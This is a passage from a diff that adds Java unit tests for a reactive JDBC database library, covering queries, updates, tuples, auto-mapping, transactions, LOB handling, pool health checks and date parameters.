+        Database db = Database.test();
+        db.select("select 'a' from sysibm.sysdummy1") //
+                .getAs(String.class) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue("a") //
+                .assertComplete();
+    }
+
+    @Test
+    @SuppressFBWarnings
+    public void testTupleSupport() {
+        db().select("select name, score from person") //
+                .getAs(String.class, Integer.class) //
+                .forEach(System.out::println);
+    }
+
+    @Test
+    public void testDelayedCallsAreNonBlocking() throws InterruptedException {
+        List<String> list = new CopyOnWriteArrayList<String>();
+        Database db = db(1); //
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .getAs(Integer.class) //
+                .doOnNext(x -> Thread.sleep(1000)) //
+                .subscribeOn(Schedulers.io()) //
+                .subscribe();
+        Thread.sleep(100);
+        CountDownLatch latch = new CountDownLatch(1);
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .getAs(Integer.class) //
+                .doOnNext(x -> list.add("emitted")) //
+                .doOnNext(x -> System.out.println("emitted on " + Thread.currentThread().getName())) //
+                .doOnNext(x -> latch.countDown()) //
+                .subscribe();
+        list.add("subscribed");
+        assertTrue(latch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS));
+        assertEquals(Arrays.asList("subscribed", "emitted"), list);
+    }
+
+    @Test
+    public void testAutoMapToInterface() {
+        db() //
+                .select("select name from person") //
+                .autoMap(Person.class) //
+                .map(p -> p.name()) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValueCount(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithoutAnnotationsEmitsError() {
+        db() //
+                .select("select name from person") //
+                .autoMap(PersonNoAnnotation.class) //
+                .map(p -> p.name()) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(AnnotationsNotFoundException.class);
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithTwoMethods() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person2.class) //
+                .firstOrError() //
+                .map(Person2::score) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(21) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithExplicitColumnName() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person3.class) //
+                .firstOrError() //
+                .map(Person3::examScore) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(21) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithExplicitColumnNameThatDoesNotExist() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person4.class) //
+                .firstOrError() //
+                .map(Person4::examScore) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(ColumnNotFoundException.class);
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithIndex() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person5.class) //
+                .firstOrError() //
+                .map(Person5::examScore) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(21) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithIndexTooLarge() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person6.class) //
+                .firstOrError() //
+                .map(Person6::examScore) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(ColumnIndexOutOfRangeException.class);
+    }
+
+    @Test
+    public void testAutoMapToInterfaceWithIndexTooSmall() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person7.class) //
+                .firstOrError() //
+                .map(Person7::examScore) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(ColumnIndexOutOfRangeException.class);
+    }
+
+    @Test
+    public void testAutoMapWithUnmappableColumnType() {
+        db() //
+                .select("select name from person order by name") //
+                .autoMap(Person8.class) //
+                .map(p -> p.name()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(ClassCastException.class);
+    }
+
+    @Test
+    public void testAutoMapWithMixIndexAndName() {
+        db() //
+                .select("select name, score from person order by name") //
+                .autoMap(Person9.class) //
+                .firstOrError() //
+                .map(Person9::score) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(21) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testAutoMapWithQueryInAnnotation() {
+        db().select(Person10.class) //
+                .get() //
+                .firstOrError() //
+                .map(Person10::score) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(21) //
+                .assertComplete();
+    }
+
+    @Test
+    @Ignore
+    public void testAutoMapForReadMe() {
+        Database //
+                .test() //
+                .select(Person10.class) //
+                .get(Person10::name) //
+                .blockingForEach(System.out::println);
+    }
+
+    @Test(expected = QueryAnnotationMissingException.class)
+    public void testAutoMapWithoutQueryInAnnotation() {
+        db().select(Person.class);
+    }
+
+    @Test
+    public void testSelectWithoutWhereClause() {
+        Assert.assertEquals(3, (long) db().select("select name from person") //
+                .count() //
+                .blockingGet());
+    }
+
+    @Test
+    public void testTuple3() {
+        db() //
+                .select("select name, score, name from person order by name") //
+                .getAs(String.class, Integer.class, String.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete() //
+                .assertValue(Tuple3.create("FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testTuple4() {
+        db() //
+                .select("select name, score, name, score from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete() //
+                .assertValue(Tuple4.create("FRED", 21, "FRED", 21)); //
+    }
+
+    @Test
+    public void testTuple5() {
+        db() //
+                .select("select name, score, name, score, name from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete().assertValue(Tuple5.create("FRED", 21, "FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testTuple6() {
+        db() //
+                .select("select name, score, name, score, name, score from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                        Integer.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete().assertValue(Tuple6.create("FRED", 21, "FRED", 21, "FRED", 21)); //
+    }
+
+    @Test
+    public void testTuple7() {
+        db() //
+                .select("select name, score, name, score, name, score, name from person order by name") //
+                .getAs(String.class, Integer.class, String.class, Integer.class, String.class,
+                        Integer.class, String.class) //
+                .firstOrError() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete()
+                .assertValue(Tuple7.create("FRED", 21, "FRED", 21, "FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testTupleN() {
+        db() //
+                .select("select name, score, name from person order by name") //
+                .getTupleN() //
+                .firstOrError().test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertComplete() //
+                .assertValue(TupleN.create("FRED", 21, "FRED")); //
+    }
+
+    @Test
+    public void testHealthCheck() throws InterruptedException {
+        AtomicBoolean once = new AtomicBoolean(true);
+        testHealthCheck(c -> {
+            log.debug("doing health check");
+            return !once.compareAndSet(true, false);
+        });
+    }
+
+    @Test
+    public void testHealthCheckThatThrows() throws InterruptedException {
+        AtomicBoolean once = new AtomicBoolean(true);
+        testHealthCheck(c -> {
+            log.debug("doing health check");
+            if (!once.compareAndSet(true, false))
+                return true;
+            else
+                throw new RuntimeException("health check failed");
+        });
+    }
+
+    @Test
+    public void testUpdateOneRow() {
+        db().update("update person set score=20 where name='FRED'") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateThreeRows() {
+        db().update("update person set score=20") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithParameter() {
+        db().update("update person set score=20 where name=?") //
+                .parameter("FRED").counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithParameterTwoRuns() {
+        db().update("update person set score=20 where name=?") //
+                .parameters("FRED", "JOSEPH").counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateAllWithParameterFourRuns() {
+        db().update("update person set score=?") //
+                .parameters(1, 2, 3, 4) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 3, 3, 3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithBatchSize2() {
+        db().update("update person set score=?") //
+                .batchSize(2) //
+                .parameters(1, 2, 3, 4) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 3, 3, 3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithBatchSize3GreaterThanNumRecords() {
+        db().update("update person set score=?") //
+                .batchSize(3) //
+                .parameters(1, 2, 3, 4) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 3, 3, 3) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsert() {
+        Database db = db();
+        db.update("insert into person(name, score) values(?,?)") //
+                .parameters("DAVE", 12, "ANNE", 18) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1) //
+                .assertComplete();
+        List<Tuple2<String, Integer>> list = db.select("select name, score from person") //
+                .getAs(String.class, Integer.class) //
+                .toList() //
+                .timeout(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .blockingGet();
+        assertTrue(list.contains(Tuple2.create("DAVE", 12)));
+        assertTrue(list.contains(Tuple2.create("ANNE", 18)));
+    }
+
+    @Test
+    public void testReturnGeneratedKeys() {
+        Database db = db();
+        // note is a table with auto increment
+        db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 2) //
+                .assertComplete();
+
+        db.update("insert into note(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testReturnGeneratedKeysDerby() {
+        Database db = DatabaseCreator.createDerby(1);
+
+        // note is a table with auto increment
+        db.update("insert into note2(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoErrors().assertValues(1, 3) //
+                .assertComplete();
+
+        db.update("insert into note2(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .returnGeneratedKeys() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(5, 7) //
+                .assertComplete();
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testReturnGeneratedKeysWithBatchSizeShouldThrow() {
+        Database db = db();
+        // note is a table with auto increment
+        db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .batchSize(2) //
+                .returnGeneratedKeys();
+    }
+
+    @Test
+    public void testTransactedReturnGeneratedKeys() {
+        Database db = db();
+        // note is a table with auto increment
+        db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 2) //
+                .assertComplete();
+
+        db.update("insert into note(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class)//
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(3, 4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testTransactedReturnGeneratedKeys2() {
+        Database db = db();
+        // note is a table with auto increment
+        Flowable<Integer> a = db.update("insert into note(text) values(?)") //
+                .parameters("HI", "THERE") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class);
+
+        db.update("insert into note(text) values(?)") //
+                .parameters("ME", "TOO") //
+                .transacted() //
+                .returnGeneratedKeys() //
+                .valuesOnly() //
+                .getAs(Integer.class)//
+                .startWith(a) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 2, 3, 4) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithinTransaction() {
+        db() //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .doOnNext(System.out::println) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(1) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1, 1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnFlowable() {
+        Database db = db();
+        Flowable<Integer> a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnObservable() {
+        Database db = db();
+        Observable<Integer> a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts().toObservable();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnOnSingle() {
+        Database db = db();
+        Single<Long> a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts().count();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectDependsOnCompletable() {
+        Database db = db();
+        Completable a = db.update("update person set score=100 where name=?") //
+                .parameter("FRED") //
+                .counts().ignoreElements();
+        db.select("select score from person where name=?") //
+                .parameter("FRED") //
+                .dependsOn(a) //
+                .getAs(Integer.class)//
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(100) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateWithinTransactionBatchSize0() {
+        db() //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .doOnNext(System.out::println) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(0) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues(1, 1, 1) //
+                .assertComplete();
+    }
+
+    private static void info() {
+        LogManager.getRootLogger().setLevel(Level.INFO);
+    }
+
+    private static void debug() {
+        LogManager.getRootLogger().setLevel(Level.INFO);
+    }
+
+    @Test
+    public void testCreateBig() {
+        info();
+        big(5).select("select count(*) from person") //
+                .getAs(Integer.class) //
+                .test().awaitDone(20, TimeUnit.SECONDS) //
+                .assertValue(5163) //
+                .assertComplete();
+        debug();
+    }
+
+    @Test
+    public void testTxWithBig() {
+        info();
+        big(1) //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(1) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .count() //
+                .test().awaitDone(20, TimeUnit.SECONDS) //
+                .assertValue((long) NAMES_COUNT_BIG) //
+                .assertComplete();
+        debug();
+    }
+
+    @Test
+    public void testTxWithBigInputBatchSize2000() {
+        info();
+        big(1) //
+                .select("select name from person") //
+                .transactedValuesOnly() //
+                .getAs(String.class) //
+                .flatMap(tx -> tx//
+                        .update("update person set score=-1 where name=:name") //
+                        .batchSize(2000) //
+                        .parameter("name", tx.value()) //
+                        .valuesOnly() //
+                        .counts()) //
+                .count() //
+                .test().awaitDone(20, TimeUnit.SECONDS) //
+                .assertValue((long) NAMES_COUNT_BIG) //
+                .assertComplete();
+        debug();
+    }
+
+    @Test
+    public void testInsertNullClobAndReadClobAsString() {
+        Database db = db();
+        insertNullClob(db);
+        db.select("select document from person_clob where name='FRED'") //
+                .getAsOptional(String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(Optional.<String>empty()) //
+                .assertComplete();
+    }
+
+    private static void insertNullClob(Database db) {
+        db.update("insert into person_clob(name,document) values(?,?)") //
+                .parameters("FRED", Database.NULL_CLOB) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testClobMethod() {
+        assertEquals(Database.NULL_CLOB, Database.clob(null));
+    }
+
+    @Test
+    public void testBlobMethod() {
+        assertEquals(Database.NULL_BLOB, Database.blob(null));
+    }
+
+    @Test
+    public void testClobMethodPresent() {
+        assertEquals("a", Database.clob("a"));
+    }
+
+    @Test
+    public void testBlobMethodPresent() {
+        byte[] b = new byte[1];
+        assertEquals(b, Database.blob(b));
+    }
+
+    @Test
+    public void testDateOfBirthNullableForReadMe() {
+        Database.test() //
+                .select("select date_of_birth from person where name='FRED'") //
+                .getAsOptional(Instant.class) //
+                .blockingForEach(System.out::println);
+    }
+
+    @Test
+    public void testInsertNullClobAndReadClobAsTuple2() {
+        Database db = db();
+        insertNullClob(db);
+        db.select("select document, document from person_clob where name='FRED'") //
+                .getAs(String.class, String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(Tuple2.create(null, null)) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertClobAndReadClobAsString() {
+        Database db = db();
+        db.update("insert into person_clob(name,document) values(?,?)") //
+                .parameters("FRED", "some text here") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select document from person_clob where name='FRED'") //
+                .getAs(String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) // .assertValue("some
+                                                                     // text
+                                                                     // here")
+                                                                     // //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertClobAndReadClobUsingReader() {
+        Database db = db();
+        db.update("insert into person_clob(name,document) values(?,?)") //
+                .parameters("FRED", "some text here") //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select document from person_clob where name='FRED'") //
+                .getAs(Reader.class) //
+                .map(r -> read(r)).test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue("some text here") //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertBlobAndReadBlobAsByteArray() {
+        Database db = db();
+        insertPersonBlob(db);
+        db.select("select document from person_blob where name='FRED'") //
+                .getAs(byte[].class) //
+                .map(b -> new String(b)) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue("some text here") //
+                .assertComplete();
+    }
+
+    private static void insertPersonBlob(Database db) {
+        byte[] bytes = "some text here".getBytes();
+        db.update("insert into person_blob(name,document) values(?,?)") //
+                .parameters("FRED", bytes) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testInsertBlobAndReadBlobAsInputStream() {
+        Database db = db();
+        byte[] bytes = "some text here".getBytes();
+        db.update("insert into person_blob(name,document) values(?,?)") //
+                .parameters("FRED", new ByteArrayInputStream(bytes)) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select document from person_blob where name='FRED'") //
+                .getAs(InputStream.class) //
+                .map(is -> read(is)) //
+                .map(b -> new String(b)) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue("some text here") //
+                .assertComplete();
+    }
+
+    private static String read(Reader reader) throws IOException {
+        StringBuffer s = new StringBuffer();
+        char[] ch = new char[128];
+        int n = 0;
+        while ((n = reader.read(ch)) != -1) {
+            s.append(ch, 0, n);
+        }
+        reader.close();
+        return s.toString();
+    }
+
+    private static byte[] read(InputStream is) throws IOException {
+        ByteArrayOutputStream bytes = new ByteArrayOutputStream();
+        byte[] b = new byte[128];
+        int n = 0;
+        while ((n = is.read(b)) != -1) {
+            bytes.write(b, 0, n);
+        }
+        is.close();
+        return bytes.toByteArray();
+    }
+
+    private void testHealthCheck(Predicate<Connection> healthy) throws InterruptedException {
+        TestScheduler scheduler = new TestScheduler();
+
+        NonBlockingConnectionPool pool = Pools //
+                .nonBlocking() //
+                .connectionProvider(DatabaseCreator.connectionProvider()) //
+                .maxIdleTime(10, TimeUnit.MINUTES) //
+                .idleTimeBeforeHealthCheck(0, TimeUnit.MINUTES) //
+                .healthy(healthy) //
+                .returnToPoolDelayAfterHealthCheckFailure(1, TimeUnit.MINUTES) //
+                .scheduler(scheduler) //
+                .maxPoolSize(1) //
+                .build();
+
+        try (Database db = Database.from(pool)) {
+            TestSubscriber<Integer> ts0 = db.select( //
+                    "select score from person where name=?") //
+                    .parameter("FRED") //
+                    .getAs(Integer.class) //
+                    .test();
+            ts0.assertValueCount(0) //
+                    .assertNotComplete();
+            scheduler.advanceTimeBy(1, TimeUnit.MINUTES);
+            ts0.assertValueCount(1) //
+                    .assertComplete();
+            TestSubscriber<Integer> ts = db.select( //
+                    "select score from person where name=?") //
+                    .parameter("FRED") //
+                    .getAs(Integer.class) //
+                    .test() //
+                    .assertValueCount(0);
+            System.out.println("done2");
+            scheduler.advanceTimeBy(1, TimeUnit.MINUTES);
+            Thread.sleep(200);
+            ts.assertValueCount(1);
+            Thread.sleep(200);
+            ts.assertValue(21) //
+                    .assertComplete();
+        }
+    }
+
+    @Test
+    public void testShutdownBeforeUse() {
+        NonBlockingConnectionPool pool = Pools //
+                .nonBlocking() //
+                .connectionProvider(DatabaseCreator.connectionProvider()) //
+                .scheduler(Schedulers.io()) //
+                .maxPoolSize(1) //
+                .build();
+        pool.close();
+        Database.from(pool) //
+                .select("select score from person where name=?") //
+                .parameter("FRED") //
+                .getAs(Integer.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(PoolClosedException.class);
+    }
+
+    @Test
+    public void testFewerColumnsMappedThanAvailable() {
+        db().select("select name, score from person where name='FRED'") //
+                .getAs(String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValues("FRED") //
+                .assertComplete();
+    }
+
+    @Test
+    public void testMoreColumnsMappedThanAvailable() {
+        db() //
+                .select("select name, score from person where name='FRED'") //
+                .getAs(String.class, Integer.class, String.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertNoValues() //
+                .assertError(MoreColumnsRequestedThanExistException.class);
+    }
+
+    @Test
+    public void testSelectTimestamp() {
+        db() //
+                .select("select registered from person where name='FRED'") //
+                .getAs(Long.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTimestampAsDate() {
+        db() //
+                .select("select registered from person where name='FRED'") //
+                .getAs(Date.class) //
+                .map(d -> d.getTime()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testSelectTimestampAsInstant() {
+        db() //
+                .select("select registered from person where name='FRED'") //
+                .getAs(Instant.class) //
+                .map(d -> d.toEpochMilli()) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateCalendarParameter() {
+        Calendar c = GregorianCalendar.from(ZonedDateTime.parse("2017-03-25T15:37Z"));
+        Database db = db();
+        db.update("update person set registered=?") //
+                .parameter(c) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(c.getTimeInMillis()) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimeParameter() {
+        Database db = db();
+        Time t = new Time(1234);
+        db.update("update person set registered=?") //
+                .parameter(t) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1234L) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimestampParameter() {
+        Database db = db();
+        Timestamp t = new Timestamp(1234);
+        db.update("update person set registered=?") //
+                .parameter(t) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1234L) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateSqlDateParameter() {
+        Database db = db();
+        java.sql.Date t = new java.sql.Date(1234);
+
+        db.update("update person set registered=?") //
+                .parameter(t) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS * 10000, TimeUnit.SECONDS) //
+                // TODO make a more accurate comparison using the current TZ
+                .assertValue(x -> Math.abs(x - 1234) <= TimeUnit.HOURS.toMillis(24)) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateUtilDateParameter() {
+        Database db = db();
+        Date d = new Date(1234);
+        db.update("update person set registered=?") //
+                .parameter(d) //
+                .counts() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(3) //
+                .assertComplete();
+        db.select("select registered from person") //
+                .getAs(Long.class) //
+                .firstOrError() //
+                .test() //
+                .awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1234L) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimestampAsInstant() {
+        Database db = db();
+        db.update("update person set registered=? where name='FRED'") //
+                .parameter(Instant.ofEpochMilli(FRED_REGISTERED_TIME)) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select registered from person where name='FRED'") //
+                .getAs(Long.class) //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(FRED_REGISTERED_TIME) //
+                .assertComplete();
+    }
+
+    @Test
+    public void testUpdateTimestampAsZonedDateTime() {
+        Database db = db();
+        db.update("update person set registered=? where name='FRED'") //
+                .parameter(ZonedDateTime.ofInstant(Instant.ofEpochMilli(FRED_REGISTERED_TIME),
+                        ZoneOffset.UTC.normalized())) //
+                .counts() //
+                .test().awaitDone(TIMEOUT_SECONDS, TimeUnit.SECONDS) //
+                .assertValue(1) //
+                .assertComplete();
+        db.select("select registered from person where name='FRED'") //
